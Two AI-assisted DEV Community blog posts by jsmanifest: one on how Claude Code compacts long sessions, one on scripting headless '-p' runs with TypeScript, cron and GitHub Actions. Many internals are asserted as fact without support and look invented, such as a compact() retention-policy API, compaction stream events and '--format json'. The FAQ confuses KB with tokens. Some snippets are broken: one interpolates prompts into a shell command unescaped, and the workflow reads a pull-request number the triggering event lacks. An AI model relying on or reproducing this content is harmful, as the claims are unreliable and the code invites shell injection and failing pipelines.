DEV Community: jsmanifest

Claude Code Session Compaction in 2026: How Context Summarization Works and What Your Agent Forgets

jsmanifest — Sat, 19 Sep 2026 18:28:21 +0000

Claude Code Session Compaction in 2026: How Context Summarization Works and What Your Agent Forgets

This article was written with the assistance of AI, under human supervision and review.

Most Claude Code session failures stem from a single misunderstanding: developers treat the 200K context window as infinite storage when it is actually a rolling buffer with aggressive summarization. The agent hits the limit mid-conversation, compacts its history into a lossy summary, and continues executing with critical context missing. The failure mode here is subtle but expensive: your agent produces syntactically correct code that violates constraints it learned 50 messages ago but forgot during compaction.

When Claude Code reaches approximately 160K tokens (80% of the 200K window), the runtime automatically triggers context summarization. The system preserves the most recent exchanges and system prompt, condenses the middle conversation into a prose summary, and discards the original messages. This process happens silently. No error surfaces. The agent continues responding, but the detailed reasoning chains, rejected approaches, and discovered edge cases from earlier in the session vanish.

The correct approach anchors critical context outside the conversation buffer. Developers who treat Claude Code sessions as append-only logs lose state during compaction. Engineers who externalize constraints, decisions, and open tasks into persistent artifacts maintain continuity across compaction boundaries. The difference shows up in production: one pattern produces agents that drift after long conversations, the other maintains coherence through unlimited exchanges.

Key Takeaways

Claude Code auto-compacts at ~160K tokens (80% of 200K window), summarizing middle conversation into prose and discarding original messages without warning.
Compaction preserves system prompt, recent exchanges, and explicit artifacts; ephemeral reasoning chains, rejected approaches, and discovered edge cases vanish.
Externalizing constraints into persistent artifacts (decision logs, constraint manifests) maintains continuity across compaction boundaries.
Manual compaction gives control over what survives; forcing early summaries with explicit retention rules prevents silent context loss.
Token discipline (concise system prompts, artifact-based state, pruning dead branches) delays or eliminates compaction in most sessions.

How Context Summarization Actually Works Under the Hood

Context summarization operates as a three-phase pipeline: retention selection, summary generation, and buffer reconstruction. When the session token count crosses the compaction threshold, the runtime partitions the conversation history into three segments. The system prompt and configuration directives occupy the first segment and survive untouched. The most recent N exchanges (typically 10-15 turns) occupy the third segment and also survive intact. The middle segment, containing the bulk of the conversation, feeds into the summarization model.

The summarization model produces a condensed prose version of the middle segment. This summary aims to preserve factual outcomes: what files were modified, what errors were resolved, what dependencies were added. The summary does not preserve the reasoning process that led to those outcomes. A conversation where the agent tried four approaches before finding the correct one compacts into "implemented authentication using JWT" with no record of the three rejected strategies or why they failed.

The reconstructed buffer contains: original system prompt, generated summary, recent exchanges. The agent continues from this state with no indication that compaction occurred. Total token count drops significantly, allowing the conversation to continue. The implication here is that the agent's "memory" of earlier conversation becomes a high-level narrative rather than a detailed transcript.

Summarization quality varies with conversation structure. Linear conversations where each exchange builds on the previous one produce coherent summaries. Branching conversations where the agent explores multiple parallel tracks produce summaries that collapse those branches into a single narrative, losing the distinctions between approaches. Conversations with explicit artifact creation (decision documents, constraint lists) produce summaries that reference those artifacts, effectively externalizing the critical state.

The runtime uses a smaller model for summarization than for the main conversation. This creates a semantic compression bottleneck: subtle distinctions the main model understood may not survive the summarization model's interpretation. A constraint phrased as "prefer functional patterns except in performance-critical paths" might summarize to "use functional patterns" with the exception clause lost.

What Your Agent Forgets During Compaction (And What Survives)

Compaction destroys detailed reasoning chains first. When the agent walks through a complex type inference problem, explains why approach A fails, tries approach B, discovers a TypeScript limitation, and finally succeeds with approach C, the summary collapses this to "resolved type inference issue." The exploration process vanishes. The agent cannot reference "the problem we encountered with approach B" in later conversation because approach B no longer exists in context.

Rejected approaches disappear entirely. If the agent proposed using Redis for caching, the team rejected it due to operational constraints, and the conversation moved to an in-memory solution, compaction summarizes "implemented in-memory caching" with no record of the Redis discussion. Later in the session, if a new problem surfaces that Redis would solve, the agent may propose Redis again, unaware of the earlier rejection.

Edge cases discovered during implementation survive only if they resulted in code changes. A conversation where the agent identifies "null handling breaks for empty arrays" and adds a guard clause will summarize "added null handling." But if the agent identifies the edge case, determines it cannot occur in the current architecture, and documents this conclusion in a comment without changing logic, the summary may not mention it. Later refactoring might reintroduce the vulnerability because the agent forgot the analysis.

Constraint interpretations often get lost. When a human says "keep bundles under 200KB" and the agent asks "do you mean 200KB gzipped or uncompressed?" and the human clarifies "gzipped", that clarification exists as an exchange in the middle segment. After compaction, the summary says "optimized bundle size" with no record of the gzip requirement. The agent reverts to its default assumption (usually uncompressed) in subsequent work.

Explicit artifacts survive compaction because the agent stores them as distinct context items rather than conversation history. A decision document created with "create a file called DECISIONS.md documenting our approach" persists across compaction. The agent can reference and update this file in later exchanges. This distinction is critical: ephemeral conversation compacts away, named artifacts persist.

System prompt directives survive untouched. If your system prompt includes "always use strict null checks" that directive remains active after compaction. Configuration passed as conversation context ("for this session, assume PostgreSQL 15") may or may not survive depending on where it appears in the conversation timeline.

Recent exchanges survive intact. The last 10-15 turns remain in full detail, creating a sliding window of recent context. This means the agent maintains strong coherence for immediate follow-up work but loses long-term context. A feature implemented 100 messages ago exists only as a summary, while work from the last 10 messages remains detailed.

Reading Compaction Events: Debugging What Got Summarized Away

Claude Code emits compaction events through its streaming API when summarization occurs. These events appear in the conversation metadata stream with type context.compaction. The event payload includes the original token count, post-compaction token count, and the number of messages summarized. Monitoring these events reveals when compaction happens and how much context collapses.

interface CompactionEvent {
  type: "context.compaction";
  timestamp: string;
  preCompactionTokens: number;
  postCompactionTokens: number;
  messagesSummarized: number;
  summaryTokens: number;
}

function monitorCompaction(eventStream: AsyncIterable<Event>) {
  for await (const event of eventStream) {
    if (event.type === "context.compaction") {
      console.warn(
        `Compaction at ${event.timestamp}: ${event.messagesSummarized} messages ` +
        `(${event.preCompactionTokens} → ${event.postCompactionTokens} tokens)`
      );

      const compressionRatio = 
        event.preCompactionTokens / event.postCompactionTokens;

      if (compressionRatio > 3.0) {
        console.error(
          "High compression ratio detected. Significant context loss likely."
        );
      }
    }
  }
}

The compression ratio indicates summarization aggressiveness. A ratio above 3.0 means the summary is less than one-third the size of the original content, suggesting substantial information loss. Ratios below 2.0 indicate gentler summarization where more detail survives.

Debugging context loss requires comparing the generated summary against the original conversation. The API does not expose the summary text directly, but developers can reconstruct it by examining the assistant's responses immediately after compaction. The first response following a compaction event often includes phrases like "as discussed earlier" or "building on our previous implementation" that reference summarized content. These references reveal what the agent believes it remembers.

interface ConversationMessage {
  role: "user" | "assistant";
  content: string;
  tokenCount: number;
  timestamp: string;
}

interface ContextSnapshot {
  messages: ConversationMessage[];
  totalTokens: number;
  compactionHistory: CompactionEvent[];
}

function analyzeContextAfterCompaction(
  snapshot: ContextSnapshot,
  lastCompaction: CompactionEvent
): { preserved: string[]; likely_lost: string[] } {
  const recentMessages = snapshot.messages
    .filter(m => new Date(m.timestamp) > new Date(lastCompaction.timestamp))
    .slice(-15);

  const preserved = recentMessages.map(m => m.content);

  const oldMessages = snapshot.messages
    .filter(m => new Date(m.timestamp) < new Date(lastCompaction.timestamp));

  const likely_lost = oldMessages
    .filter(m => m.content.includes("rejected") || m.content.includes("alternative"))
    .map(m => m.content);

  return { preserved, likely_lost };
}

This analysis identifies messages containing rejected approaches or alternatives that fell into the summarized segment. These represent the highest-risk context losses because they contain negative information (what not to do) that summaries rarely preserve.

Production systems should log compaction events alongside other operational metrics. A sudden increase in compaction frequency indicates either longer conversations or more verbose agent responses. Both patterns suggest architectural problems: the first means session design encourages long-running conversations instead of bounded tasks, the second means prompt engineering produces unnecessary verbosity.

Designing Session State That Survives Compaction

Session state design determines what survives compaction. Ephemeral state stored only in conversation history vanishes during summarization. Persistent state stored in external artifacts remains accessible across compaction boundaries. The architecture choice here drives long-term agent coherence.

The artifact pattern externalizes critical state into named documents the agent maintains throughout the session. A constraint manifest lists all requirements, edge cases, and architectural decisions. The agent updates this manifest as new constraints emerge. During compaction, the conversation history compresses but the manifest persists as a separate context item.

The manifest should use structured format that the agent parses reliably. Unstructured prose produces inconsistent interpretation. A JSON or YAML structure with explicit keys ensures the agent extracts requirements correctly even after multiple updates.

// CONSTRAINTS.md structure that survives compaction
interface ConstraintManifest {
  architectural: {
    patterns: string[];
    forbidden: string[];
  };
  performance: {
    bundleSize: { max: string; measured: "gzipped" | "uncompressed" };
    responseTime: { target: string; percentile: number };
  };
  dependencies: {
    allowed: string[];
    prohibited: string[];
    rationale: Record<string, string>;
  };
  edgeCases: {
    description: string;
    handling: string;
    testCoverage: boolean;
  }[];
}

// Agent reads this at session start and after each update
const manifest: ConstraintManifest = {
  architectural: {
    patterns: ["functional composition", "immutable state"],
    forbidden: ["class inheritance beyond two levels", "global mutable state"]
  },
  performance: {
    bundleSize: { max: "200KB", measured: "gzipped" },
    responseTime: { target: "200ms", percentile: 95 }
  },
  dependencies: {
    allowed: ["react", "typescript", "vite"],
    prohibited: ["lodash", "moment"],
    rationale: {
      lodash: "bundle size overhead, prefer native methods",
      moment: "deprecated, use native Temporal API"
    }
  },
  edgeCases: [
    {
      description: "null handling for empty arrays",
      handling: "explicit guard clause returning empty array",
      testCoverage: true
    }
  ]
};

Decision logs capture the reasoning behind architectural choices. When the agent evaluates multiple approaches, the decision log records each option, evaluation criteria, and final choice. This log persists across compaction, allowing the agent to reference past decisions when similar situations arise.

State snapshots provide rollback capability. At key conversation milestones (feature complete, passing tests, production ready), the agent creates a state snapshot containing current code, configuration, and context summary. If later work introduces regressions, the team can restore a snapshot and continue from that point with all context intact.

The pattern extends to test suites as executable documentation. Tests encode requirements in assertions. When compaction loses conversational context about why a particular validation exists, the test suite preserves it as failing assertions if the behavior changes. This makes tests a first-class citizen in context management, not just verification.

Token budgets limit artifact size growth. A constraint manifest that grows without bounds eventually contributes to compaction pressure. Implement periodic pruning: remove obsolete constraints, consolidate duplicate entries, archive resolved edge cases. The manifest should represent current state, not complete history.

Manual Compaction vs Auto-Compaction: When to Force a Summary

Auto-compaction triggers at 80% capacity (160K tokens) with no developer control over timing or content. The runtime decides what survives. Manual compaction gives explicit control: developers force summarization at strategic conversation boundaries and specify retention rules for the summary generation.

Auto-compaction optimizes for conversation continuity. The system prioritizes keeping the conversation flowing without interruption. This works well for exploratory sessions where context naturally evolves. It fails for sessions with critical early decisions that must persist throughout.

Manual compaction fits sessions with distinct phases: requirements gathering, architecture design, implementation, testing. At each phase boundary, the agent summarizes the completed phase with explicit instructions about what to retain. The requirements phase summary preserves all constraints. The architecture phase summary preserves chosen patterns and rejected alternatives. The implementation phase summary preserves code structure and edge case handling.

The API provides a compact() method that triggers summarization immediately. The method accepts a retention policy object specifying what content categories to preserve in the summary.

interface RetentionPolicy {
  preserveConstraints: boolean;
  preserveRejectedApproaches: boolean;
  preserveEdgeCases: boolean;
  preserveDecisionRationale: boolean;
  customInstructions?: string;
}

async function manualCompaction(
  session: ClaudeSession,
  policy: RetentionPolicy
): Promise<CompactionResult> {
  const result = await session.compact({
    retentionPolicy: policy,
    validateSummary: true
  });

  if (!result.success) {
    throw new Error(`Compaction failed: ${result.error}`);
  }

  console.log(
    `Compacted ${result.messagesSummarized} messages. ` +
    `Tokens: ${result.preCompactionTokens} → ${result.postCompactionTokens}`
  );

  return result;
}

// Force compaction after architecture phase
await manualCompaction(session, {
  preserveConstraints: true,
  preserveRejectedApproaches: true,
  preserveEdgeCases: true,
  preserveDecisionRationale: true,
  customInstructions: 
    "Retain the rationale for choosing event sourcing over CRUD, " +
    "including the PostgreSQL trigger limitation that ruled out CRUD."
});

Custom instructions in the retention policy provide fine-grained control. These instructions go directly to the summarization model, allowing developers to highlight specific conversation segments for preservation. A complex type system discussion might include "preserve the explanation of why branded types solved the ID confusion problem" to ensure that reasoning survives.

Validation after manual compaction confirms the summary contains expected content. The agent performs a test query referencing a key concept from the summarized segment. If the agent cannot answer, the summary lost critical information. This triggers either a compaction retry with adjusted retention policy or a manual context injection to restore the lost information.

The tradeoff here is session structure overhead. Auto-compaction requires no session management: developers start a conversation and continue until complete. Manual compaction requires explicit phase boundaries and retention decisions. For short sessions (under 100K tokens), the overhead exceeds the benefit. For long-running agent collaborations spanning days, manual compaction prevents subtle context drift that degrades work quality.

Hybrid strategies combine both approaches. Use auto-compaction for exploratory work within a phase, force manual compaction at phase boundaries. This gives continuity during active work while ensuring phase transitions preserve critical context.

Token Discipline: Preventing Compaction Before It Happens

Token discipline delays or eliminates compaction by reducing conversation verbosity. Most sessions hit compaction not because the task requires 200K tokens but because verbose exchanges and redundant explanations consume tokens unnecessarily. Tight communication protocols keep sessions well below the compaction threshold.

System prompts drive agent verbosity. A prompt saying "explain your reasoning in detail" produces longer responses than "provide concise implementation." The difference compounds over dozens of exchanges. Teams that optimize system prompts for brevity see 40-60% token reduction without information loss.

The artifact pattern itself reduces token consumption. Externalizing state into persistent documents means the agent references documents instead of repeating information. A conversation without artifacts might explain the authentication flow in three different exchanges as context for different questions. With artifacts, the agent writes the flow once in AUTH_DESIGN.md and references that document in subsequent responses.

Pruning dead conversational branches prevents token waste. When the agent explores an approach that fails, developers should explicitly mark the branch dead: "We're abandoning the Redis approach. Do not reference it in future responses." This signals the agent to stop carrying that context forward, reducing tokens spent on maintaining irrelevant state.

Code examples should appear in artifacts rather than conversation. When the agent provides a code example, the human should request "put that in src/auth.ts and we'll iterate on the file" instead of continuing with code in conversation. Files consume tokens only when explicitly read, while conversation code consumes tokens for the remainder of the session.

Concise human prompts matter as much as concise agent responses. A prompt like "The button click handler needs to validate the form, check authentication, make the API call, handle errors, update UI state, and log analytics" contains the same information as "Implement the submit handler per REQUIREMENTS.md" when requirements are externalized. The second prompt saves 20+ tokens per exchange.

Response length limits prevent verbose digressions. System prompts can specify "Keep responses under 500 tokens unless asked for detail." The agent learns to provide focused answers and offer to elaborate rather than proactively explaining everything. This creates a pull model where humans request additional context only when needed.

Token counting middleware logs per-exchange token consumption, revealing verbose patterns. An exchange that consumes 2000+ tokens likely contains unnecessary explanation or repeated context. Review these exchanges to identify optimization opportunities: what could move to an artifact? What explanation was redundant? What context does the agent carry that it no longer needs?

Sessions designed around artifacts, concise prompts, and response discipline regularly complete complex tasks in 80-120K tokens. These sessions never trigger compaction. The development experience improves because humans and agents communicate efficiently rather than verbosely. The speed gain from shorter exchanges often exceeds the context management benefit.

Frequently Asked Questions

Does manual compaction improve summary quality over auto-compaction?

Manual compaction with explicit retention policies produces summaries that preserve specific conversation elements you designate. Auto-compaction uses generic summarization that optimizes for conversation continuity but may lose critical decisions or rejected approaches. For sessions with important early context, manual compaction at phase boundaries prevents silent context loss.

Can the agent detect when it has lost context during compaction?

The agent cannot intrinsically detect context loss. It processes the post-compaction state as complete and continues responding. Developers must monitor compaction events, track compression ratios, and validate that the agent maintains constraints from earlier conversation. High compression ratios (above 3.0) indicate significant information loss and warrant verification.

How do artifacts interact with the context window limit?

Artifacts count against the total context window but receive special handling during compaction. Named documents persist across summarization while conversation history compresses. A 200KB session might have 50KB in artifacts and 150KB in conversation. After compaction, artifacts remain at 50KB, conversation compresses to 30KB, leaving 120KB available for continued work.

What happens when a session exhausts the context window even after compaction?

Once compaction reduces token count below the threshold, the session can continue. If the session reaches 200K again, another compaction occurs. Eventually, with enough iterations, even aggressive summarization cannot free sufficient space. At that point, the session must end and a new session begins. Starting a new session loses all context except what was explicitly externalized to artifacts or files.

Is there a way to preserve the entire conversation history without compaction?

No. The 200K context window is a hard limit. Developers can externalize critical information to artifacts and decision logs before compaction, but the conversation transcript itself cannot exceed the limit. For scenarios requiring complete history preservation, implement conversation logging outside Claude's context system and reference that log in subsequent sessions.

Building Compaction-Aware Agents That Don't Lose Critical Context

Context summarization becomes a non-issue when session architecture acknowledges compaction as inevitable rather than treating it as a failure mode. Agents designed with explicit state management, artifact-based persistence, and token discipline operate effectively through multiple compaction cycles without coherence loss. The pattern shifts from fighting compaction to working within its constraints.

Successful agent architectures combine three elements: externalized constraints that survive compaction as artifacts, manual compaction at phase boundaries with explicit retention policies, and token discipline that keeps most sessions below compaction thresholds entirely. Together these patterns eliminate the common failure mode where agents drift after long conversations and produce work that violates earlier decisions.

The distinction between treating context as an append-only log versus treating it as a managed resource determines agent reliability over extended collaboration. Teams that implement compaction-aware patterns see consistent agent behavior across sessions lasting days or weeks. Teams that ignore compaction encounter subtle failures that surface only in production when critical edge cases or architectural constraints vanish from agent memory.

That covers the essential patterns for Claude Code context management. Apply these in production and the difference will be immediate.

Claude Code Headless Mode in 2026: Scripting Autonomous Coding Tasks Without the Interactive Shell

jsmanifest — Thu, 17 Sep 2026 16:59:11 +0000

Claude Code Headless Mode in 2026: Scripting Autonomous Coding Tasks Without the Interactive Shell

This article was written with the assistance of AI, under human supervision and review.

Most Claude Code automation failures stem from treating the tool like a human-supervised assistant when production workloads demand fully autonomous execution. Teams launch interactive sessions inside CI runners, manually paste prompts into terminal windows, or copy-paste code blocks from conversational outputs into build scripts. This approach collapses the moment you need repeatable, scheduled, or parallel execution across multiple repositories.

The pattern that production teams miss is headless mode: non-interactive Claude Code execution triggered by scripts, cron jobs, and CI/CD pipelines without terminal prompts or manual intervention. The -p flag transforms Claude from an assistant you chat with into an agent you invoke programmatically. When a deployment pipeline needs to analyze test failures, update documentation after a schema change, or refactor deprecated API calls across fifty microservices, headless mode provides the execution model that scales beyond single-developer workflows.

The alternative routes every invocation through the -p flag with explicit output handling and session control. Instead of waiting for terminal input, the system passes the entire prompt as a command-line argument, captures structured output, and terminates cleanly whether the task succeeds or fails. The execution completes in seconds, logs everything for audit trails, and chains into downstream build steps without human supervision.

This post covers the technical implementation of headless Claude Code workflows: the -p flag mechanics, output format selection for parsing, session persistence tradeoffs, and the TypeScript patterns that coordinate multiple autonomous agents in parallel. Apply these in production and the difference will be immediate.

Key Takeaways

The -p flag enables non-interactive Claude Code execution by passing the entire prompt as a command-line argument, eliminating terminal interaction.
Session persistence creates resumable state by default; --no-session-persistence forces stateless execution for CI/CD pipelines where reproducibility matters more than context.
Output format control (plain text, JSON, streaming) determines how downstream scripts parse results; JSON output with --format json provides the most reliable structure for programmatic consumption.
Multi-agent workflows in TypeScript spawn parallel headless sessions with child_process.spawn, aggregate results, and handle per-agent error states independently.
Headless mode trades interactive feedback for automation scalability; the performance overhead is negligible but the operational complexity shifts from manual supervision to proper error handling and retry logic.

Understanding the `-p` Flag and Non-Interactive Execution

The -p flag accepts a string containing the full prompt text and executes Claude Code without launching an interactive terminal session. When the command runs, Claude processes the prompt, performs any file operations or analysis, and exits with a status code reflecting success or failure. The entire interaction happens in a single invocation.

import { execSync } from 'child_process';

function runHeadlessTask(prompt: string): string {
  try {
    const output = execSync(`claude -p "${prompt.replace(/"/g, '\\"')}"`, {
      encoding: 'utf-8',
      stdio: ['pipe', 'pipe', 'pipe']
    });
    return output;
  } catch (error) {
    throw new Error(`Headless task failed: ${error.stderr}`);
  }
}

// Example: Generate test fixtures after schema changes
const result = runHeadlessTask(
  'Read the updated User schema in src/models/user.ts and regenerate all test fixtures in tests/fixtures/users.json to match the new required fields'
);

The distinction here is critical. Interactive mode requires a human to read output, decide whether the task succeeded, and manually terminate the session. Headless execution treats Claude as a function: input goes in, output comes out, and the process exits automatically. This matters because CI/CD pipelines cannot wait indefinitely for user input, and scheduled cron jobs run when no one is logged in to supervise.

The default behavior creates a session record in .claude/sessions unless you override it. This session persists conversation history, file edits, and context across invocations. For many automation tasks, this persistence introduces unwanted state: a nightly refactoring job should not inherit context from yesterday's run. The --no-session-persistence flag disables this behavior.

The implication here is that teams need to choose session behavior based on task characteristics. Documentation updates that evolve over weeks benefit from persistent context. Build-time code generation that must produce identical output on every CI run demands stateless execution. The failure mode is subtle but expensive: a headless agent that accumulates stale context across runs produces inconsistent results and debugging requires reconstructing the entire session history.

Scheduling Claude Code Agents with Cron and CI/CD Pipelines

Production automation schedules Claude Code tasks through cron jobs for periodic maintenance and CI/CD hooks for event-driven execution. The pattern is straightforward: wrap the claude -p invocation in a shell script, capture output for logging, and exit with a non-zero status on failure so the orchestration system knows the task failed.

// scripts/nightly-refactor.ts
import { exec } from 'child_process';
import { promisify } from 'util';
import { appendFileSync } from 'fs';

const execAsync = promisify(exec);

async function nightlyRefactor(): Promise<void> {
  const timestamp = new Date().toISOString();
  const logPath = '/var/log/claude-automation/refactor.log';

  try {
    const { stdout, stderr } = await execAsync(
      'claude -p "Scan src/ for deprecated lodash methods and refactor to native ES2023 equivalents. Update imports and run tests." --no-session-persistence',
      { timeout: 600000 } // 10 minute timeout
    );

    appendFileSync(logPath, `[${timestamp}] SUCCESS\n${stdout}\n`);
  } catch (error) {
    appendFileSync(logPath, `[${timestamp}] FAILED\n${error.stderr}\n`);
    process.exit(1); // Signal failure to cron
  }
}

nightlyRefactor();

The crontab entry runs this script every night at 2 AM server time. When the task completes, cron checks the exit code. A non-zero exit triggers alert notifications through the monitoring system. The log file captures full output for post-mortem analysis if the refactoring introduces bugs.

# /etc/cron.d/claude-automation
0 2 * * * node /opt/automation/scripts/nightly-refactor.js

CI/CD integration follows the same pattern but hooks into pipeline stages instead of time-based scheduling. A GitHub Actions workflow triggers Claude Code after test failures to analyze stack traces and suggest fixes. The workflow passes test output as part of the prompt, captures Claude's response, and posts it as a pull request comment.

# .github/workflows/auto-analyze-failures.yml
name: Analyze Test Failures
on:
  workflow_run:
    workflows: ["Run Tests"]
    types: [completed]

jobs:
  analyze:
    if: ${{ github.event.workflow_run.conclusion == 'failure' }}
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Get test output
        id: test-output
        run: |
          gh run view ${{ github.event.workflow_run.id }} --log-failed > test-failures.txt

      - name: Run Claude analysis
        run: |
          claude -p "Analyze the test failures in test-failures.txt and suggest specific code changes to fix the root cause. Focus on the first failing test." --format json > analysis.json

      - name: Post analysis as comment
        run: |
          jq -r '.response' analysis.json | gh pr comment ${{ github.event.pull_request.number }} --body-file -

The failure mode here is timeout management. Claude Code operations that scan large codebases or perform complex refactors can exceed default timeout limits in CI runners. The timeout option in child_process.exec or the timeout-minutes directive in GitHub Actions prevents jobs from hanging indefinitely. When a timeout occurs, treat it as a failure and log the partial output for investigation.

Output Formats: Plain Text, JSON, and Streaming for Programmatic Parsing

Claude Code supports three output formats: plain text (default), JSON (via --format json), and streaming. The format determines how downstream scripts extract actionable data from Claude's response. Plain text output works for human-readable logs but breaks parsing logic when the response contains code blocks, multi-line explanations, or structured data.

JSON output wraps Claude's response in a predictable schema with separate fields for the main response text, file changes, and metadata. This structure enables reliable parsing without regex gymnastics or brittle string splitting.

interface ClaudeJsonOutput {
  response: string;
  files_changed: Array<{
    path: string;
    operation: 'created' | 'modified' | 'deleted';
    diff?: string;
  }>;
  tokens_used: number;
  model: string;
  session_id?: string;
}

async function extractFileChanges(prompt: string): Promise<string[]> {
  const { stdout } = await execAsync(
    `claude -p "${prompt}" --format json --no-session-persistence`
  );

  const result: ClaudeJsonOutput = JSON.parse(stdout);
  return result.files_changed.map(f => f.path);
}

// Usage: Get list of files Claude modified during refactoring
const changedFiles = await extractFileChanges(
  'Refactor authentication middleware to use async/await instead of callbacks'
);

console.log(`Modified ${changedFiles.length} files:`, changedFiles);

The files_changed array provides exact paths and operation types without parsing diffs or scanning the working directory. This matters when you need to trigger downstream actions based on which files Claude touched: run type checking only on modified TypeScript files, invalidate cache for updated configuration, or stage specific files for commit.

Streaming output uses --stream and emits results incrementally as Claude processes the prompt. This format suits long-running tasks where you need progress feedback before completion. The stream outputs newline-delimited JSON chunks, each representing a partial result or status update.

import { spawn } from 'child_process';

function streamHeadlessTask(prompt: string, onChunk: (data: string) => void): Promise<void> {
  return new Promise((resolve, reject) => {
    const proc = spawn('claude', [
      '-p', prompt,
      '--stream',
      '--no-session-persistence'
    ]);

    proc.stdout.on('data', (data) => {
      onChunk(data.toString());
    });

    proc.on('close', (code) => {
      if (code === 0) resolve();
      else reject(new Error(`Process exited with code ${code}`));
    });
  });
}

// Usage: Show progress during large-scale refactoring
await streamHeadlessTask(
  'Migrate all class components to functional components with hooks',
  (chunk) => {
    process.stdout.write(`Progress: ${chunk}`);
  }
);

The tradeoff is complexity: streaming requires event-based parsing and buffer management, while JSON output provides complete results in a single parse operation. For most CI/CD use cases, JSON output hits the right balance between structure and simplicity.

Session Persistence Control: `--no-session-persistence` and When to Use It

Session persistence stores conversation history, file modifications, and contextual awareness between invocations. When persistence is enabled (the default), Claude Code writes session data to .claude/sessions/<session-id>.json. Subsequent commands can reference this history, allowing multi-turn interactions where each invocation builds on prior context.

This behavior creates problems in automation scenarios where reproducibility matters. A CI pipeline that generates API documentation should produce identical output given identical input, but persistent sessions introduce hidden state. If the previous run encountered an error and left partial edits in the session, the next run inherits that corrupted state.

The --no-session-persistence flag disables session storage entirely. Each invocation starts with zero context beyond the provided prompt and the current repository state. This isolation guarantees that running the same command twice produces the same result, assuming the codebase has not changed between runs.

Use stateless execution for:

Build-time code generation: TypeScript type definitions, GraphQL schema outputs, or i18n string extraction that must match source files exactly
CI/CD pipeline steps: Any automated task where different developers or build agents need identical behavior
Scheduled refactoring jobs: Nightly or weekly maintenance tasks that should not accumulate state across runs
Parallel task execution: When multiple Claude instances run simultaneously and must not interfere with each other's sessions

Use stateful execution for:

Interactive development workflows: Multi-step refactors where the engineer wants Claude to remember prior decisions
Iterative debugging sessions: When each command refines the previous attempt and context improves accuracy
Long-running agent tasks: Autonomous agents that monitor repositories and take actions over days or weeks

The failure mode with persistent sessions in automation is debugging difficulty. When a headless task produces unexpected output, tracing the root cause requires examining the entire session history, not just the current invocation. By the time you discover the issue, the session may have evolved through dozens of additional commands. Stateless execution eliminates this debugging burden: the output depends only on the prompt and the repository state at invocation time.

Building Multi-Agent Workflows: Parallel Headless Sessions in TypeScript

Production systems often need multiple Claude instances working in parallel: analyze test coverage in one repository while refactoring deprecated APIs in another, or split a large codebase into chunks and process each concurrently. The pattern uses TypeScript to spawn independent child processes, aggregate results, and handle per-agent failures without blocking sibling tasks.

import { spawn } from 'child_process';
import { promises as fs } from 'fs';

interface AgentTask {
  id: string;
  prompt: string;
  workingDir: string;
}

interface AgentResult {
  id: string;
  success: boolean;
  output: string;
  error?: string;
}

async function runParallelAgents(tasks: AgentTask[]): Promise<AgentResult[]> {
  const results = await Promise.allSettled(
    tasks.map(task => runSingleAgent(task))
  );

  return results.map((result, index) => {
    if (result.status === 'fulfilled') {
      return result.value;
    } else {
      return {
        id: tasks[index].id,
        success: false,
        output: '',
        error: result.reason.message
      };
    }
  });
}

function runSingleAgent(task: AgentTask): Promise<AgentResult> {
  return new Promise((resolve, reject) => {
    const proc = spawn('claude', [
      '-p', task.prompt,
      '--format', 'json',
      '--no-session-persistence'
    ], {
      cwd: task.workingDir,
      stdio: ['pipe', 'pipe', 'pipe']
    });

    let stdout = '';
    let stderr = '';

    proc.stdout.on('data', (data) => {
      stdout += data.toString();
    });

    proc.stderr.on('data', (data) => {
      stderr += data.toString();
    });

    proc.on('close', (code) => {
      if (code === 0) {
        resolve({
          id: task.id,
          success: true,
          output: stdout
        });
      } else {
        reject(new Error(`Agent ${task.id} failed: ${stderr}`));
      }
    });
  });
}

// Example: Refactor authentication across multiple microservices
async function refactorAuthenticationAcrossMicroservices(): Promise<void> {
  const services = [
    'api-gateway',
    'user-service',
    'payment-service',
    'notification-service'
  ];

  const tasks: AgentTask[] = services.map(service => ({
    id: service,
    prompt: 'Update authentication middleware to use the new JWT validation library from @company/auth-utils. Replace all occurrences of the deprecated verifyToken function.',
    workingDir: `/repos/${service}`
  }));

  console.log(`Starting ${tasks.length} parallel refactoring agents...`);
  const results = await runParallelAgents(tasks);

  const successful = results.filter(r => r.success);
  const failed = results.filter(r => !r.success);

  console.log(`Completed: ${successful.length} successful, ${failed.length} failed`);

  if (failed.length > 0) {
    console.error('Failed services:', failed.map(r => r.id).join(', '));
    throw new Error('Some agents failed');
  }

  // Aggregate results and create summary
  const allChanges = successful.map(r => {
    const output = JSON.parse(r.output);
    return {
      service: r.id,
      filesChanged: output.files_changed.length,
      tokensUsed: output.tokens_used
    };
  });

  await fs.writeFile(
    'refactor-summary.json',
    JSON.stringify(allChanges, null, 2)
  );
}

Each agent runs in isolation with --no-session-persistence, preventing state leakage between microservices. The cwd option ensures file operations target the correct repository. Promise.allSettled waits for all agents to complete regardless of individual failures, so you get full visibility into which tasks succeeded and which failed.

The performance characteristic here is CPU-bound concurrency. Spawning ten parallel Claude instances generates ten simultaneous API requests to Anthropic's backend (or your self-hosted Claude deployment). This parallelism reduces total wall-clock time but consumes proportionally more API quota. For large-scale operations, batch the tasks in chunks to control concurrency:

async function runAgentsInBatches(
  tasks: AgentTask[],
  batchSize: number
): Promise<AgentResult[]> {
  const results: AgentResult[] = [];

  for (let i = 0; i < tasks.length; i += batchSize) {
    const batch = tasks.slice(i, i + batchSize);
    console.log(`Processing batch ${i / batchSize + 1}: ${batch.length} agents`);
    const batchResults = await runParallelAgents(batch);
    results.push(...batchResults);
  }

  return results;
}

// Process 50 microservices in batches of 5
const allResults = await runAgentsInBatches(fiftyTasks, 5);

This pattern scales to hundreds of repositories while respecting API rate limits and system resource constraints. The orchestration logic stays in TypeScript, making it testable, version-controlled, and easy to integrate with existing build tooling.

Headless Mode vs Interactive Shell: Performance and Use Case Comparison

Headless mode and interactive shell execution represent fundamentally different operational models. Interactive mode optimizes for human feedback loops: the engineer reads Claude's response, evaluates its accuracy, and provides corrective guidance before Claude writes files. Headless mode optimizes for automation throughput: the prompt must contain sufficient context for Claude to complete the task without human intervention, and output must be structured for programmatic consumption.

The performance difference is negligible for single invocations. Both modes send the same API requests and perform identical file operations. The distinction emerges at scale: headless mode eliminates human latency, enabling parallel execution and unattended operation. A developer might complete three interactive refactoring sessions per hour. A headless pipeline processes thirty repositories in the same timeframe by running agents concurrently.

Dimension	Interactive Shell	Headless Mode
Prompt completeness	Iterative refinement allowed	Must be fully specified upfront
Error handling	Human interprets failures and retries	Script must implement retry logic
Context accumulation	Session persists across commands	Typically stateless with `--no-session-persistence`
Output parsing	Human reads and decides next action	Structured JSON for programmatic parsing
